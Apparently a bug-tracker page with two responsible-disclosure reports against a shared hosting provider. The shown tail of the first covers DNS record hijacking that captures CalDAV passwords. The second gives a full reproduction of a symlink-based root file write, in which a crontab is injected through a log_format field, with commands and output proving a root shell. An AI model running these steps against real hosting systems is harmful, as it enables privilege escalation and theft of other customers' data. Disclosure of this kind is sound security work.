A client configured for caldav-<victim>.alwaysdata.net resolves that hostname, reaches the attacker-controlled host over valid TLS, and transmits Basic credentials because that is what the genuine endpoint requires.
Nothing about the victim's configuration changes and nothing prompts them.
I did not execute this against a real victim, so you can weigh the demonstrated credential channel directly.

* I did not claim imap- or pop- seizure as credential capture. See the scope note above.

* The one artefact I cannot repair myself is in step 8:

caldav-vk7victim.alwaysdata.net
still resolves to:
185.31.41.11
as of this report.
Nothing of mine is served there. The record belongs to vk7victim, which is an account I own, so no customer of yours is affected.
Please restore it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Account creation was limited to the single extra account required for the test.

Impact:

With one free signup, an attacker can take over the CalDAV or CardDAV hostname of any named account, and account names are public information under your own rules.

The victim's client can then send the account's service password to the attacker over valid TLS, with no certificate warning and no user action beyond its normal scheduled sync.

Because that password is shared with FTP, MySQL and SSH according to your own account creation documentation, successful capture would potentially extend beyond the calendar or contacts service to the victim's broader hosting account.

The affected account could therefore expose its website, databases, mail and files, depending on which services use the shared service password.

The victim also loses the calendar or contacts service itself because their hostname no longer points to the genuine service.

On the two exclusions in your rules that could be misread onto this finding:

First, the customer site exclusion does not apply. The alwaysdata.net hostnames are linked to customer accounts, and this is not a flaw in a customer's site or anything a customer configured.

The provisioning code operates in a DNS zone controlled by Alwaysdata, and the record is reassigned from one customer to another by your own account creation path. No customer action is involved on either side.

Second, the fact that account names may be discoverable in many different ways does not change the finding.

I am not reporting account name disclosure. The account name is simply the input that selects which victim's DNS record gets reassigned. If name disclosure were eliminated, the provisioning flaw would still exist and would still be reachable by anyone who knows one account name.

On duplication with  FS#348 :

That report, "Subdomain Squatting on alwaysdata.net Platform Namespace", was closed Invalid and concerned claiming unused labels.

This finding takes an existing hostname that already resolves for a live customer and reassigns its DNS record.

Step 5 demonstrates the value changing from the genuine CalDAV host to the attacker's web node, while four sibling records remain unchanged as controls in step 9b.

The defect is therefore in the provisioner's collision handling, not in the availability of an unused name.

What this achieves that a customer's own SSH shell cannot:

It allows a customer to rewrite a DNS record in a zone they do not own and redirect another customer's service hostname to infrastructure controlled by the attacker.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because every step is performed through network requests.

AC:L because the sequence is deterministic and the only required input is a name the attacker already knows.

PR:L because a free account is required.

UI:N because no victim interaction is required to perform the DNS reassignment. The victim's client sends the credential on its own next scheduled sync, without prompting the victim.

S:C because the vulnerable component is the account provisioning system, while the impacted components are the shared DNS zone and another customer's account.

C:H because the captured credential is the account's service password.

I:H and A:H because the shared password is used across FTP, MySQL and SSH, and because the victim loses the CalDAV/CardDAV service itself.

If you prefer to treat the client's next reconnection as user interaction, the score would be lower.

The demonstrated impact remains Critical under that interpretation, and I am content for you to settle the final scoring based on the facts above.

Recommendation:

1. Complete the prefix blocklist.

 Add all omitted service prefixes, including:
 "imap-"
 "pop-"
 "pop3-"
 "caldav-"
 "carddav-"
 Better, derive the validation list from the same service-prefix list used by the provisioner so the two cannot drift apart again.

2. Apply the ownership and collision check in the auto-provisioner, not only in the user-facing address form.

 A default address that would collide with an existing record in the shared zone should be rejected using the same ownership check that control 9d shows you already implement on the other path.

3. Reject any account name that would collide with an existing generated record in the zone rather than relying solely on a static prefix list.

4. Restore a released hostname to its rightful owner when a colliding account is renamed or deleted, as demonstrated in step 8.

5. Consider not sharing one password across web, FTP, SSH and MySQL.

 Separating service credentials would ensure that capturing one service credential does not automatically provide access to the broader hosting account.
 484 Closed Arbitrary file write and code execution as root on shar ...Bajinder Task Description

Vulnerability Information:

Name of Vulnerability:
Arbitrary file write as uid 0 on the shared hosting nodes. Four privileged writers open a destination path inside a directory the customer owns, without O_NOFOLLOW, and the site fields "log_type", "log_file" and "log_format" let the customer choose both the destination and the content. This yields root code execution from a single HTTP request to the customer's own website.

Vulnerability Category: Remote Code Execution (RCE) / Horizontal and vertical privilege escalation / Local files access and manipulation, per the qualifying list on your bug bounty page.

Description:

Your control plane distributes per-account configuration to the fleet through the filesystem. Root processes on overlord-core and on the node write generated files into each customer's NFS-mounted home under ~/admin/.

Two of the directories in that path are owned or writable by the customer and neither carries the sticky bit, so the customer can move or delete the root-owned directories underneath and substitute their own.

/home/<account> is drwxrwx— root:<account>, and ~/admin/logs is drwxr-x— <account>:<account>, while its children logs/http and logs/sites are root:root.

rename(2) and unlink(2) require write and execute permission on the PARENT directory only. Therefore, an unprivileged customer can replace those root-owned children and can replace the whole ~/admin tree the same way.

Hardening the inner directories has no effect while their parent remains writable by the tenant.

Having taken control of the path, the customer plants a symlink where the privileged writer expects to write.

The writers open their destination with O_CREAT|O_APPEND and no O_NOFOLLOW, and do not unlink the destination first. They therefore follow the symlink and write to its target as uid 0.

For the HTTP access-log writer, the customer controls the content by selecting:

log_type=CUSTOM

This makes the site field log_format the access-log line format. It is free text with a maximum length of 1024, is not validated, and is emitted verbatim.

Path control plus content control therefore provides arbitrary root file creation and, from there, arbitrary root code execution.

Writing a crontab into /etc/cron.d/ produces a root shell within 60 seconds, and I obtained:

uid=0(root)

on the shared web node http22.

This is the same class as  FS#367 , which you fixed and paid, but it is a different mechanism.  FS#367  was argument injection into a sudo helper, and that helper is now correctly hardened.

Vulnerable Instances:

POST https://admin.alwaysdata.com/site/<id>/
fields: log_type, log_file, log_format

POST https://admin.alwaysdata.com/environment/ any change that causes configuration regeneration

~/admin/logs/http/<YYYY>/<log_file>-<date>.log
written by the shared front end as root

~/admin/logs/sites/<YYYY>/sites-<date>.log
written by the shared front end as root

~/admin/config/apache/sites.conf
written by "Updating Apache configuration" as root

~/admin/config/apache/apache.conf
same writer

~/admin/config/php/*.ini
regenerated root:root inside a replaced subtree

~/admin/logs/jobs/<YYYY>/<jobid>-<date>.log
written as root by the job command

The issue was reproduced on the web tier http22 and the SSH tier ssh2, which share /home over NFSv4.

Steps to Reproduce:

All steps run on vk7research, a free plan account I own. The starting state is a freshly provisioned free account with one site.

1. The precondition.

 The root-owned control tree sits inside directories the customer controls, with no sticky bit anywhere in the path.
 $ stat -c "%A %U:%G %n" ~ ~/admin ~/admin/logs
  1. > drwxrwx— root:vk7research /home/vk7research
  2. > drwxr-xr-x root:root /home/vk7research/admin
  3. > drwxr-x— vk7research:vk7research /home/vk7research/admin/logs
 $ ls -la ~/admin/logs/
  1. > drwxr-xr-x 3 root root 26 .. http
  2. > drwxr-xr-x 3 root root 26 .. sites
 Two root:root directories therefore exist inside a directory controlled by the account.

2. Take control of the destination path.

 $ mv ~/admin/logs/http ~/admin/logs/http.bak
 $ mkdir -p ~/admin/logs/http/2026
 Both commands succeed as the unprivileged account.

3. Plant the symlink under the filename the writer will open.

 The final path component comes from the site field log_file, so the name is known in advance.
 $ ln -s /etc/cron.d/l3root ~/admin/logs/http/2026/L3F-2026-09-20.log

4. Set the three site fields, authenticated as the ordinary account owner.

 POST https://admin.alwaysdata.com/site/1078598/
 Referer: https://admin.alwaysdata.com/site/1078598/
 csrfmiddlewaretoken=<tok>&log_type=CUSTOM&log_file=L3F
 &log_format=* * * * * root /bin/sh /home/vk7research/l3poc.sh
  1. > HTTP 302 (saved)

5. Issue ONE HTTP request to the customer's own website.

 The root writer creates the symlink target.
 $ curl -s https://vk7research.alwaysdata.net/ >/dev/null
 $ ls -la /etc/cron.d/l3root
  1. > -rw-r–r– 1 root root 48 Sep 20 07:36 /etc/cron.d/l3root
 $ cat -A /etc/cron.d/l3root
  1. > * * * * * root /bin/sh /home/vk7research/l3poc.sh$
 The cat -A output is exactly the submitted log_format value and is fully attacker controlled rather than being appended to an existing line.

6. Within 60 seconds cron executes it as root.

 The three commands below are the ones your rules specify for demonstrating root:
 $ id
  1. > uid=0(root) gid=0(root) groups=0(root)
 $ hostname
  1. > http22
 $ pwd
  1. > /root
 $ cat /proc/1/maps
  1. > 153 lines, 16495 bytes
 $ touch /root/vk7research ; ls -la /root/vk7research
  1. > -rw-r–r– 1 root root 0 Sep 20 07:37 /root/vk7research

7. Controls that rule out alternative explanations.

 a. Symlink following was isolated before any content control was attempted.
 A root:root file appeared at a path of my choosing using the config writer alone.
 b. A destination OUTSIDE the home, in a directory the tenant cannot write, confirms that the write is not merely occurring inside space I already own.
 /nfs/http22.root
 My UID receives Permission denied on it.
 $ ln -s /nfs/http22.paris1/ROOTWRITE_CANARY ~/admin/config/apache.conf
 (regenerate the Apache config)
 $ ls -la /nfs/http22.paris1/ROOTWRITE_CANARY
  1. > -rw-r–r– 1 root root 1254 Sep 20 07:39 /nfs/http22.paris1/ROOTWRITE_CANARY
 c. The destination is attacker-chosen and is resolved by the privileged writer.
 Pointing the same symlink into a directory that does not exist makes the platform task end in:
 Status: Failure
 instead of succeeding.
 /task/40446968/detail/ -> Failure
 (symlink target directory absent)
 /task/40447214/detail/ -> Completed
 (symlink target directory exists)
 d. This is a real uid 0 write on the node, not a root-squashed NFS write.
 A marker written to /tmp/L3ROOTPROBE-a1b2 is root:root on http22 and absent on ssh2, confirming that the write executes as root on the web node.
 e. The tenant cannot reach uid 0 through another route on these nodes.
 I checked:
 $ grep -E "NoNewPrivs|CapEff" /proc/self/status
  1. > NoNewPrivs: 1
  2. > CapEff: 0000000000000000
 sudo refuses over SSH entirely.
 $ find / -perm -4000 -o -perm -2000 -type f 2>/dev/null | wc -l
  1. > 0
 There is no SUID or SGID binary anywhere on either node.
 $ sudo -n -l
  1. > (root) NOPASSWD: /alwaysdata/sbin/install_language_package
 That helper is the only grant and is properly fixed.
 I tested 14 injection variants, including command separators, quotes, LF, -o Dpkg::Pre-Invoke::= in both argument positions, arithmetic subscripts and relative source CWD hijacking. All returned rc=2 and wrote no marker.
 $ head -1 /proc/1/maps
  1. > head: cannot open '/proc/1/maps' for reading: No such file
 /proc is mounted with hidepid=invisible, so the 16,495-byte capture in step 6 is obtainable only as uid 0.
 f. Your own codebase contains the correct pattern, so this is an inconsistency rather than a design choice.
 The php_ini writer creates a fresh content-hashed file:
 php-<siteid>.ini
 A planted symlink there is replaced rather than followed, and that writer is NOT vulnerable.

Proof of Concept:

Steps 1 to 7 reproduce end to end with standard Linux tools and an ordinary authenticated session on a free plan account.

I executed the chain twice through two independent writers described in steps 3 to 6, and also reproduced the behaviour with the Apache configuration writer in control 7b, whose root-owned output landed outside my home directory.

WHAT THIS REPORT DOES NOT CLAIM, stated plainly:

* I did NOT read other customers' files, mail, databases or keys. The scale figures in the Impact section below come from directory link counts on the NFS export roots, without entering anyone else's directory.

* While I held uid 0, I did not touch /etc/passwd, /etc/shadow, /etc/sudoers, any authorized_keys file, and I installed no persistence. The only files I created are listed in the cleanup note accompanying this report.

* I did not test whether root on this client is root on the imap5 or backup2 NFS exports, so I make no claim about the mail or backup stores beyond noting the relevant shared infrastructure.

* /etc/cron.d/l3root was removed and its absence was verified over a five-minute window with no further executions.

* The genuine root:root ~/admin/logs/{http,sites} directories were restored.

* I noticed that /run/rpcbind.sock is mode srw-rw-rw- on both ssh2 and http22, which are NFS clients of the customer mail and backup estate. I did NOT touch it because doing so would be disruptive and your rules prohibit that. I mention it so you can audit it.

Test window:

2026-09-20, approximately 05:30 to 08:30 UTC, from a single egress IP.

Requests were sequential and paced. Several short-lived SSH sessions were used during that window, and the connection rate guard began refusing them toward the end.

Impact:

Any customer on a free plan can obtain uid 0 on the shared node that hosts their website with one HTTP request to their own website.

No paid product, special permission or second account is required.

The scale is visible from metadata that a tenant can read directly. The NFS export roots under /nfs/ are drwxr-x–x root:root, so they cannot be listed, but their directory link counts expose the approximate number of per-account subdirectories each volume holds:

$ ls -la /nfs/

→ drwxr-x–x 6393 root root http21.paris1
approximately 6391 per-account directories

→ drwxr-x–x 8147 root root http22.paris1
approximately 8145 per-account directories

→ drwxr-x–x 6006 root root imap3.paris1
approximately 6004 per-account directories

→ drwxr-x–x 27750 root root imap5.paris1
approximately 27748 per-account directories

http22, the node where I obtained root, is itself the NFSv4 server for the home directories on /nfs/http22.paris1.

That is the directory where my test demonstrated a root-owned file could be created at a path my account could not otherwise write.

Every co-tenant home is also mounted on the node, as shown by the tenant's own mount table:

http22.paris1:/<account> on /home/<account> type …

/var/lib/extrausers/passwd, the node-wide NSS database, holds approximately 8,515 accounts.

What follows from uid 0 on a POSIX host with those mounts is direct filesystem authority over the files the node can reach, including directories belonging to co-located accounts.

The root writer chain therefore includes access to locations such as:

/etc/sudoers.d
/etc/passwd
/etc/shadow
authorized_keys

I am not inferring a capability that was not tested. The demonstrated capability is arbitrary file creation as uid 0, including outside the customer's own home, and the resulting root shell.

On the argument that "our clients can already execute anything they want using the shell":

That reasoning does not apply here.

This is the reasoning previously used to close  FS#347 ,  FS#449  and  FS#470 , and I tested it rather than assuming it away.

Control 7e shows that the tenant shell cannot reach uid 0 through the existing routes:

* NoNewPrivs is 1, so sudo refuses outright.
* CapEff is all zero.
* There is no SUID or SGID binary on either node.
* The single sudo grant is correctly validated.
* /proc is protected with hidepid.
* The write demonstrated in steps 5 and 6 happens as uid 0.

The gap between what a customer shell can do and what this vulnerability yields is the entire finding.

CVSS v3.1:

9.9 Critical - AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

AV:N because the trigger is an authenticated HTTP request to admin.alwaysdata.com plus one request to the customer's own site.

AC:L because the sequence is deterministic once the account and site are available.

PR:L because a free account is required.

UI:N because no other person participates.

S:C because the vulnerable component is the control plane's configuration service while the impacted component is the operating system of a shared node and the accounts co-located on it.

C:H, I:H and A:H because uid 0 on that node has authority over the data, configuration and services accessible from the shared operating system environment.

If you prefer to score only what I directly exercised rather than the full authority conferred by uid 0, the demonstrated arbitrary root file creation in /etc is itself sufficient to establish a Critical impact.

Recommendation:

1. Do not store root-owned state inside a customer-writable directory.

 Move the ~/admin control tree outside /home/<account>, or make /home/<account> and ~/admin/logs non-writable by the tenant, or set the sticky bit so the tenant cannot rename or delete root-owned children.
 This closes the whole class and is the only fix that closes all four affected writers.

2. Open every generated destination with O_NOFOLLOW, and write via a fresh temporary file followed by an atomic rename(2) rather than opening an existing path.

 Your php_ini writer already uses the correct pattern, so that implementation can be reused.

3. Drop privileges to the account's UID for anything written inside the customer's home.

 None of these files needs to be created by uid 0.

4. Validate log_format.

 It is currently up to 1024 bytes of unvalidated text consumed by a root process, and this is what turns the arbitrary file write into code execution.
 Restrict it to the documented format directives.

5. Audit the other writers in the same service for the same ordering and symlink-following issue.

 I found four affected writers, and the jobs/<YYYY>/<jobid>-<date>.log writer additionally embeds job-controlled content, giving it the same content-control property as log_format.
Showing tasks 1 - 9 of 9 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing